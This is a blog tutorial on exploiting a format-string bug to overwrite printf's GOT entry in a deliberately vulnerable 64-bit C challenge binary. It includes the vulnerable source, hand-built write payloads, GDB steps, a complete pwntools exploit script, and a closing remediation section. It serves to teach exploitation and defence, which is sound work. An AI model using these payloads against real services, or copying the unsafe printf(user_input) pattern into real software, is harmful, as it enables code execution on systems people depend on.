← Back to list

Basic Linux Pwn II: Overwrite Global Offset Table to Gain Remote Code Execution

Hola Hacker’s!

Wahyu Priambodo in FMI Cyber Security Consulting Services · 2026-04-25 05:02 · 2 claps · 13.9 min read
#binary-exploitation #pwn #exploit-development #offensive-security #red-team
Open on Medium ↗
Wiki topics: SAF · Safety & Alignment 🔓 · Open Source

Basic Linux Pwn II: Overwrite Global Offset Table to Gain Remote Code Execution

Figure 1. Article banner

Figure 1. Article banner

Hola Hacker’s!

In this article, I will explain how to overwrite a symbol or function entry in the Global Offset Table (GOT) to gain Remote Code Execution (RCE). Similar to the previous tutorial (ret2plt), I will modify a few lines of C source code to enable a GOT overwrite. However, I assume you already have a basic understanding of Python, C programming, and GDB debugging, including reading assembly language.

⚠️ Disclaimer

This article is written purely for educational purposes. I am not responsible for any misuse or illegal activity conducted with this knowledge. Only practice on systems you own or have explicit permission to test.

Background: ret2plt (Previous Tutorial)

In the previous article, we covered ret2plt — a technique that overwrites the return address on the stack (the $rip / $eip register) to redirect execution to system@PLT. We also used a pop rdi; ret gadget to control the first argument of system(), passing /bin/sh to spawn a shell.

This time, we go a step further. Instead of overwriting the return address, we will overwrite a GOT entry for a specific libc function called directly within the binary, using a format string vulnerability.

Global Offset Table vs Procedure Linkage Table

Linux ELF binaries have two ways to load external symbols, such as functions from libc:

  • Statically linked: The entire C standard library (libc.so.6) is embedded directly into the binary at compile time. This results in a larger binary size, but makes the binary self-contained.
  • Dynamically linked: The binary references shared libraries at runtime. This keeps the binary size small and makes maintenance easier and more flexible. By default, compiling with gcc without the -static flag produces a dynamically linked binary.

For more information about the differences between static and dynamic linking, refer to: https://www.geeksforgeeks.org/operating-systems/static-and-dynamic-linking-in-operating-systems/

Note that every Linux distribution may ship a different version of the C Standard Library (libc). Furthermore, if ASLR protection is enabled, exploitation becomes considerably more difficult.

There are three sections in an ELF binary that are related to GOT and PLT:

  1. **.plt** — These are stubs that look up addresses in the .got.plt section, and either jump to the resolved address or trigger the dynamic linker (ld.so) to resolve it if the address has not yet been filled in.
  2. **.got** — This is the actual table of offsets filled in by the dynamic linker for external symbols.
  3. **.got.plt** — This is the GOT for the PLT. It contains the resolved target addresses, or a pointer back into the .plt to trigger the lookup. Historically, this data was part of the .got section.

For more information about the ELF binary structure, visit: https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html

How GOT and PLT Work Together?

When a dynamically linked binary calls an external function such as exit(), the call passes through two structures:

  1. Procedure Linkage Table (PLT): A stub of code inside the binary. Each external function has a PLT entry. The first call triggers the dynamic linker to resolve the real address.
  2. Global Offset Table (GOT): A table of pointers inside the binary's data segment. After the dynamic linker resolves a function, it writes the real libc address here. Subsequent calls jump directly to this GOT entry.

The call flow looks like this:

First call (symbol not yet resolved):
    call exit@PLT  →  exit@PLT stub  →  exit@GOT  →  exit() in libc

Second call (symbol already resolved):
    call exit@PLT  →  exit@PLT stub  →  exit@GOT (jumps directly)

Why Does This Matter for Exploitation?

Because the GOT resides in a writable data segment when RELRO is not set to Full, we can overwrite the address stored in any GOT entry. If we replace exit@GOT with the address of system() in libc, then the next time the program calls exit(something), it will instead call system(something). If we can also control the argument that is passed to exit(), we can supply "/bin/sh" to spawn a shell.

Format Specifier in C

As you may already know, printf() in C is used to print values to stdout. Each value to be printed uses a format specifier:

  • %c : single character
  • %s : string (null-terminated)
  • %d : signed decimal integer
  • %i : unsigned integer
  • %u : unsigned decimal integer
  • %f : float number
  • %lld : long long integer
  • %lf : double (long float)
  • %p : pointer to an address (prints address in hex)
  • %n : Writes the number of bytes printed so far into a pointer argument
  • %hn : Like %n, but writes a 2-byte (short) value
  • %hhn : Like %n, but writes a 1-byte value
  • %hu : Unsigned short integer

For more information about C format specifiers, visit this website: https://www.tutorialspoint.com/cprogramming/c_format_specifiers.htm

Useful Format Specifiers for Exploitation

  • %p : Leaks memory addresses from the stack (stack canary, PIE base, libc base)
  • %hhn : Writes a 1-byte value to a given address. Used to overwrite GOT entries byte-by-byte.
  • %hn : Writes a 2-byte (short) value to a given address. Faster GOT overwrite if you only need to change 2 bytes.
  • %n : Writes a 4-byte value. Rarely used directly because it requires printing a huge number of characters.
  • %lln : Writes an 8-byte value. This format specifier is mostly used for 64-bit binary targets.

Format String Vulnerability

A format string vulnerability occurs when user-controlled input is passed directly as the format string argument to printf():

printf(user_input);       // Vulnerable
printf("%s", user_input); // Safe

When the format string is controlled by an attacker, they can:

  1. Use %p chains to leak memory addresses from the stack, such as stack canaries, PIE offsets, and libc symbols.
  2. Use %n / %hn / %hhn with a crafted address placed on the stack to write arbitrary values to arbitrary addresses. This is the mechanism used to overwrite the GOT.

Crafting the GOT Overwrite Payload

In essence, a GOT overwrite replaces the address of a function such as exit() with something like system('/bin/sh') or execve('/bin/sh', NULL, NULL), thereby spawning a shell on the remote server.

The payload structure differs slightly between 32-bit and 64-bit binary architectures.

For a 32-bit binary:

[padding_for_4-byte_alignment][target_address]%[value_to_write]X%[position_of_target_address]$[write_type]

For a 64-bit binary:

%[value_to_write]X%[position_of_target_address]$[write_type][padding_for_8-byte_alignment][target_address]

In a 64-bit binary, the target address is placed at the end of the payload. This is because 64-bit addresses are 8 bytes wide, unlike 32-bit addresses, which are only 4 bytes. An address such as 0x405060 is internally represented as 0x0000000000405060 — five null bytes follow the significant bytes (LSB). Placing the address at the end prevents those null bytes from prematurely terminating the format string.

To make this concrete, consider the following example:

  1. RELRO protection is set to Partial, not Full read-only. This is what makes the GOT overwrite possible.
  2. exit@GOT is the target address to be overwritten, located at 0x404010.
  3. system@PLT is the value we will write to the GOT entry at 0x401011.
  4. The buffer offset is at position 6 on the stack.

Our payload will look like this:

exit_got = elf.got['exit']     # 0x404010
system_plt = elf.plt['system'] # 0x401011

# Value to write (system_plt)
# High chunk : 0x40            -> 64 in decimal
# Low chunk  : 0x1011          -> 4113 in decimal
# Delta (written bytes so far) -> 4113 - 64 = 4049 in decimal

# Target address (exit_got)
# exit_got + 2 (high address) = 0x404012 (\x12\x40\x40\x00\x00\x00\x00\x00)
# exit_got (low address)      = 0x404010 (\x10\x40\x40\x00\x00\x00\x00\x00)

# One-liner payload
payload = b"%64X%9$n%4049X%10$hnAAAA\x12\x40\x40\x00\x00\x00\x00\x00\x10\x40\x40\x00\x00\x00\x00\x00"

# More clean
payload = b"%64X%9$n"          # write 4-byte (0x00400000) at 9th position
payload += b"%4049X%10$hnAAAA" # write 2-byte (0x1011) at 10th position
payload += p64(exit_got+2)     # high target address
payload += p64(exit_got)       # low target address

# Easier, automatically generated by pwntools
from pwn import *

buffer_offset = 6
payload = fmtstr_payload(buffer_offset, {exit_got: system_plt})

io.sendline(payload)
io.interactive()

Some key points to keep in mind:

  • Always write the high address first.
  • High address write uses %n (4-byte write). The target address is offset by +2 because we will write the lower 2 bytes separately afterward.
  • Low address write uses %hn (2-byte write). The width value must be the delta between the target value and the number of bytes already printed. In this example: 4113 − 64 = 4049. Use this simple formula to calculate the desired value to write for a specific target address.
value to write  - written bytes so far = delta
       4113     -           64         = 4049 (in decimal)
  • The width values (64 — high address, 4049 — low address) cause printf to print that many space characters to stdout, which advances the internal byte counter to the desired write value.
  • The AAAA padding is inserted to ensure that every element in the payload is 8-byte aligned on the stack. The resulting stack layout becomes:
%64X%9$n    →  stack slot position 6  (buffer start)
%4049X%1    →  stack slot position 7
0$hnAAAA    →  stack slot position 8  (padding)
GOT+2 addr  →  stack slot position 9  (high target address)
GOT addr    →  stack slot position 10 (low target address)

The Challenge — GOT Overwrite

The source code for this challenge is not significantly different from the previous tutorial (ret2plt). The buffer overflow vulnerability has been removed.

// chall.c
// compile: gcc -m64 -fstack-protector -no-pie -Wl,-z,relro,-z,lazy \
//          -Wno-stringop-overflow -Wno-format-security -o vuln chall.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define MAX_SIZE 100

// Secret message to spawn something??
const char secret_msg[8] = "/bin/sh\x00";

// Ignore this, just for disable buffering
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

// Helper function
__attribute__((naked))
void useful_gadget() {
    __asm__ volatile(
        "pop %rdi\n"
        "ret\n"
    );
}

void get_user_id() {
    system("id");
}

// This is our goals
void get_shell() {
    system(secret_msg);
}

void echo_input() {
    char echo_cmd[MAX_SIZE] = {0};

    puts("What's your echo command? ");
    printf("> ");
    read(0, echo_cmd, MAX_SIZE-1);
    echo_cmd[MAX_SIZE] = '\0'; // add null char
    // strip newline
    if (echo_cmd[MAX_SIZE-1] == '\n') echo_cmd[MAX_SIZE-1] = '\0';

    printf("Your echo command -> ");
    printf(echo_cmd); // vulnerable
    putchar('\n');
}

int main() {
    setup();
    printf("===[ Mission Ech0 ]===");
    unsigned int option = 0;

    while (1) {
        puts("\n===[ Your Order ]====");
        puts("1. Get User ID");
        puts("2. Echo Input");
        puts("3. Exit");
        printf("> ");
        scanf("%d", &option);
        getchar();

        switch (option) {
            case 1:
                get_user_id();
                break;
            case 2:
                echo_input(); // trigger format string vuln
                break;
            case 3:
                puts("Bye!");
                exit(0);
            default:
                puts("Invalid option!");
                break;
        }
    }

    return 0;
}

The binary is compiled with the following protections:

Figure 2. “checksec” output showing the binary’s protection flags

Figure 2. “checksec” output showing the binary’s protection flags

  1. Stack Canary ✅ — A random value is placed on the stack before the return address. If this value is overwritten, the program aborts with a “stack smashing detected” error.
  2. Position Independent Executable (PIE) ❌ — PIE is disabled to keep this challenge accessible. Without PIE, the binary loads at a fixed base address on every run, so symbol addresses are static and do not need to be leaked.
  3. Relocation Read-Only ⚠️ — Partial RELRO is enabled. The GOT is writable, which is what makes this attack possible. Full RELRO would make the GOT read-only and prevent the overwrite entirely.
  4. NX (No-Execute) ✅ — The stack is not executable, so injecting and running shellcode directly is not possible.
  5. ASLR (OS Level) ✅ — libc is loaded at a random base address on every run. A libc address must be leaked at runtime in order to calculate the address of system().

Exploitation Phases

Step 1: Find The Buffer Offset on The Stack

To locate our input buffer on the stack, we craft a payload that probes each stack position and leaks its value. The following Python script automates this (adjust as needed for your buffer size):

payload = b"A"*8 + b"." # 9 characters/bytes
payload += b".".join(f"%{i}$p".encode() for i in range(1, 51))[:(100-9)]

# Output:
b'AAAAAAAA.%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$'

Send this payload through the echo input option (number 2). Look for the value 0x4141414141414141 the hex representation of “AAAAAAAA”) in the output. The position at which it appears is the buffer offset.

Figure 3. The value “0x4141414141414141” appears at position “6”, confirming the buffer offset

Figure 3. The value “0x4141414141414141” appears at position “6”, confirming the buffer offset

From the figure 3, the buffer is located at position 6 on the stack.

Step 2: Identify What to Write and Where

Because PIE is disabled, all binary symbols have fixed and predictable addresses. We need two values:

  1. get_shell() — the function we want to execute (what to write).
  2. printf@GOT — the GOT entry we will overwrite (where).

The get_shell() address can be found using info functions or print get_shell in GDB. Use info functions command to check the symbols list.

Figure 4. GDB output showing “get_shell()” at address “0x00000000004012de”

Figure 4. GDB output showing “get_shell()” at address “0x00000000004012de”

From the figure 4, we know that the get_shell() address is 0x00000000004012de.

The printf@GOT address can be found using the got command in GEF, or by using readelf command:

readelf -r ./vuln | grep "printf"

The got command can be achieved after you run the program. For this case, I will set 2 breakpoints at echo_input function:

  1. Input process → echo_input+187
  2. Format string vulnerability occurs → echo_input+235
Dump of assembler code for function echo_input:
   0x00000000004012f8 <+0>:     endbr64
   0x00000000004012fc <+4>:     push   rbp
   0x00000000004012fd <+5>:     mov    rbp,rsp
   0x0000000000401300 <+8>:     sub    rsp,0x70
   # ... output omitted ...
   0x000000000040139d <+165>:   lea    rax,[rbp-0x70]
   0x00000000004013a1 <+169>:   mov    edx,0x63
   0x00000000004013a6 <+174>:   mov    rsi,rax
   0x00000000004013a9 <+177>:   mov    edi,0x0
   0x00000000004013ae <+182>:   call   0x401120 <read@plt>
   0x00000000004013b3 <+187>:   mov    BYTE PTR [rbp-0xc],0x0
   0x00000000004013b7 <+191>:   movzx  eax,BYTE PTR [rbp-0xd]
   0x00000000004013bb <+195>:   cmp    al,0xa
   0x00000000004013bd <+197>:   jne    0x4013c3 <echo_input+203>
   0x00000000004013bf <+199>:   mov    BYTE PTR [rbp-0xd],0x0
   0x00000000004013c3 <+203>:   lea    rax,[rip+0xc67]        # 0x402031
   0x00000000004013ca <+210>:   mov    rdi,rax
   0x00000000004013cd <+213>:   mov    eax,0x0
   0x00000000004013d2 <+218>:   call   0x401110 <printf@plt>
   0x00000000004013d7 <+223>:   lea    rax,[rbp-0x70]
   0x00000000004013db <+227>:   mov    rdi,rax
   0x00000000004013de <+230>:   mov    eax,0x0
   0x00000000004013e3 <+235>:   call   0x401110 <printf@plt>
   0x00000000004013e8 <+240>:   mov    edi,0xa
   0x00000000004013ed <+245>:   call   0x4010d0 <putchar@plt>
   0x00000000004013f2 <+250>:   nop
   0x00000000004013f3 <+251>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004013f7 <+255>:   sub    rax,QWORD PTR fs:0x28
   0x0000000000401400 <+264>:   je     0x401407 <echo_input+271>
   0x0000000000401402 <+266>:   call   0x4010f0 <__stack_chk_fail@plt>
   0x0000000000401407 <+271>:   leave
   0x0000000000401408 <+272>:   ret
End of assembler dump.

Figure 5. Setting breakpoints at “echo_input+187” and “echo_input+235”

Figure 5. Setting breakpoints at “echo_input+187” and “echo_input+235”

After set the breakpoints, run the program and input the previous payload.

Figure 6. Running the binary with breakpoints active

Figure 6. Running the binary with breakpoints active

After running the program, list all GOT entries using got command.

Figure 7. GOT entries viewed with the “got” command — “printf@GOT” is at “0x404020”

Figure 7. GOT entries viewed with the “got” command — “printf@GOT” is at “0x404020”

As you can see at figure 7, the printf@GOT address is located at 0x404020 (there are 5 more null characters \x00). We need to replace it with the address of get_shell(), which is 0x00000000004012de.

Step 3: Craft the Payload

We split the value to write, which is get_shell() address (0x4012de) into two chunks:

  • High chunk: 0x40 = 64 in decimal → written to printf@GOT+2 using %n (4-byte write)
  • Low chunk: 0x12de = 4830 in decimal → written to printf@GOT using %hn (2-byte write)
  • Delta for the low write: 4830 − 64 = 4766 (bytes remaining to print after the high write)
Value to write (get_shell)
High chunk : 0x40            -> 64 in decimal
Low chunk  : 0x12de          -> 4830 in decimal
Delta (written bytes so far) -> 4830 - 64 = 4766

The target address, which is printf@GOT address (0x404020) is also have to split into two parts:

  • High address: printf@GOT + 20x404020 + 2 = 0x404022 ← written with high chunk
  • Low address: printf@GOT0x404020 ← written with low chunk (delta)
Target address (printf_got)
printf_got + 2 (high address) = 0x404022 -> \x22\x40\x40\x00\x00\x00\x00\x00
printf_got     (low address)  = 0x404020 -> \x20\x40\x40\x00\x00\x00\x00\x00

The position of target address that we will be writing is located at 9 (high address) and 10 (low address):

  • %64X%9$n → 6th position = high chunk write 4-byte to high address at 9th position
  • %4766X%1 → 7h position = low chunk (delta) write 2-byte to low address at 10th position
  • 0$hnAAAA → 8th position = add padding for 8-byte alignment on the stack
  • \x22\x40\x40\x00\x00\x00\x00\x00 → 9th position = high address
  • \x20\x40\x40\x00\x00\x00\x00\x00 → 10th position = low address

Our payload will looks like this:

# Write high address first!
# One-liner payload
payload = b"%64X%9$n%4766X%10$hnAAAA\x22\x40\x40\x00\x00\x00\x00\x00\x20\x40\x40\x00\x00\x00\x00\x00"

If we break down the one-liner payload above, the structure will looks like this (remember, this is a 64-bit binary architecture):

Figure 8. Payload structure — annotated diagram showing each component of the format string payload

Figure 8. Payload structure — annotated diagram showing each component of the format string payload

You can also use pwntools to automatically generate the payload. It’s more easier than we’ve to calculate manually.

# payload = fmtstr_payload(buffer_offset, {target_address: value_to_write})
payload = fmtstr_payload(6, {printf_got: get_shell_addr})

With the payload crafted, we send it through the echo input option (number 2). The next call to printf() inside the binary will now jump to get_shell(), which calls system("/bin/sh") and spawns a shell.

io.sendlineafter(b"> ", b"2")     # select echo input
io.sendlineafter(b"> ", payload)  # send the overwrite payload
io.sendline(b"/bin/sh\x00")       # argument for system()
io.interactive()                  # interact with the shell

The full exploit script is as follows:

#!/usr/bin/env python3
# x.py

from pwn import *

############## [ DEFINE BINARY

context.binary = ELF("./vuln", checksec=1)
context.log_level = "DEBUG"
context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'

e = context.binary
# libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6", checksec=0)
# rop = ROP(libc)

gs = """
break *echo_input+187
break *echo_input+235
continue
"""

############## [ SETUP CONNECTION

def init():
 if args.GDB:
  return gdb.debug(e.path, gdbscript=gs)
 elif args.REMOTE:
  return remote(host, port)
 else:
  return process(e.path)

io = init()

############## [ USEFUL GADGETS & SYMBOLS

printf_got = e.got['printf']            # 0x404020
get_shell_addr = e.symbols['get_shell'] # 0x4012de

############## [ EXPLOIT GOES HERE

# Value to write (get_shell)
# High chunk : 0x40            -> 64 in decimal
# Low chunk  : 0x12de          -> 4830 in decimal
# Delte (written bytes so far) -> 4830 - 64 = 4766 in decimal

# Target address (printf_got)
# printf_got + 2 (high address) = \x22\x40\x40\x00\x00\x00\x00\x00
# printf_got     (low address)  = \x20\x40\x40\x00\x00\x00\x00\x00

# Write high address first!
# One-liner payload
payload = b"%64X%9$n%4766X%10$hnAAAA\x22\x40\x40\x00\x00\x00\x00\x00\x20\x40\x40\x00\x00\x00\x00\x00"

# Alternative using fmtstr_payload
# payload = fmtstr_payload(6, {printf_got: get_shell_addr})

io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", payload)
io.sendline(b"/bin/sh\x00")

io.interactive()

Step 4: Run the Exploit Script

After running the exploit script, a shell is spawned and we have achieved Remote Code Execution (RCE).

Figure 9. After running the exploit script, an interactive shell is obtained

Figure 9. After running the exploit script, an interactive shell is obtained

Remediation

A GOT overwrite is only possible because of the format string vulnerability. To prevent this class of attack, the following mitigations should be applied:

  1. Fix the format string vulnerability — Always pass user-controlled input as a format argument, never as the format string itself. Replace printf(user_input) with printf("%s", user_input).
  2. Enable Full RELRO — Compile with z relro -z now. This marks the GOT as read-only after startup, preventing any runtime overwrites regardless of other vulnerabilities.
  3. Consider static linking — if applicable, statically linking the binary removes the GOT and PLT entirely, eliminating this attack surface. Keep in mind that static binaries are larger and may be harder to maintain.

Summary

In this article, we explored how a format string vulnerability can be exploited to achieve Remote Code Execution via a GOT overwrite. Here is a recap of everything we covered:

  1. Understood the GOT and PLT — The PLT acts as a call stub that redirects execution through the GOT. The GOT holds the resolved runtime address of each libc function. When RELRO is not Full, these addresses are writable.
  2. Identified the format string vulnerability — Passing user input directly as the first argument to printf() allows an attacker to read from and write to arbitrary memory addresses using format specifiers such as %p, %n, %hn, and %hhn.
  3. Located our targets — We used GDB to find the buffer offset (position 6 on the stack), the address of printf@GOT (0x404020), and the address of get_shell() (0x4012de).
  4. Crafted the overwrite payload — We split the target address into two chunks — a high 2-byte chunk and a low 2-byte chunk — and wrote each using %n and %hn respectively, with carefully calculated width specifiers to control the printf byte counter.
  5. Triggered the shell — After overwriting printf@GOT with the address of get_shell(), the next call to printf() inside the binary redirected execution to get_shell(), which called system("/bin/sh") and spawned an interactive shell.

The key takeaway is that even without a buffer overflow, a single unprotected printf() call is enough to gain full control of a process. Combining it with a writable GOT (Partial RELRO) makes for a highly reliable exploitation primitive.

I hope this article helps you on your journey into Linux binary exploitation. Feel free to leave questions or feedback in the comment section. Happy Pwning!.

References

  1. https://tripoloski1337.github.io/ctf/2020/06/11/format-string-bug.html
  2. https://axcheron.github.io/exploit-101-format-strings/
  3. https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
  4. https://ir0nstone.gitbook.io/notes/binexp/stack/got-overwrite/exploiting-a-got-overwrite
  5. https://competitivecyber.club/past-talks/MasonCC-F17-Format-String-Exploitation.pdf
  6. https://hacktricks.wiki/en/binary-exploitation/common-binary-protections-and-bypasses/relro.html

메타데이터
post_id
3eaa5daea3a1
slug
basic-linux-pwn-ii-overwrite-global-offset-table-to-gain-remote-code-execution-3eaa5daea3a1
url
https://medium.com/fmisec/basic-linux-pwn-ii-overwrite-global-offset-table-to-gain-remote-code-execution-3eaa5daea3a1
canonical_url
https://medium.com/fmisec/basic-linux-pwn-ii-overwrite-global-offset-table-to-gain-remote-code-execution-3eaa5daea3a1
author_url
https://medium.com/@wyzz
status
ok
fetched_at
2026-06-10 08:17:25